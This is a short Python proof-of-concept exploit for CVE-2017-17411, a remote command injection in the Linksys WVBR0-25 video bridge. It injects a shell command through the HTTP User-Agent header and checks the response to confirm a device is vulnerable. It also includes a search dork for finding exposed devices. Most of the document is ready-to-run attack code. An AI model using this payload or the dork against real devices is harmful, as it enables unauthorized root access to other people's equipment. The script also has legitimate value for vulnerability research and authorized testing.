Linksys WVBR0 – ‘User-Agent’ Remote Command Injection
#!/usr/bin/python # -*- coding: utf-8 -*- # Author: Nixawk # CVE-2017-17411 # Linksys WVBR0 25 Command Injection """ $ python2.7 exploit-CVE-2017-17411.py [*] Usage: python exploit-CVE-2017-17411.py <URL> $ python2.7 exploit-CVE-2017-17411.py http://example.com/ [+] Target is exploitable by CVE-2017-17411 """ import requests def check(url): payload = '"; echo "admin' md5hash = "456b7016a916a4b178dd72b947c152b7" # echo "admin" | md5sum resp = send_http_request(url, payload) if not resp: return False lines = resp.text.splitlines() sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines) if not any([payload in sys_cmd for sys_cmd in sys_cmds]): return False if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]): return False print("[+] Target is exploitable by CVE-2017-17411 ") return True def send_http_request(url, payload): headers = { 'User-Agent': payload } response = None try: response = requests.get(url, headers=headers) except Exception as err: log.exception(err) return response if __name__ == '__main__': import sys if len(sys.argv) != 2: print("[*] Usage: python %s <URL>" % sys.argv[0]) sys.exit(0) check(sys.argv[1]) # google dork: "Vendor:LINKSYS ModelName:WVBR0-25-US" ## References # https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair # https://thehackernews.com/2017/12/directv-wvb-hack.html |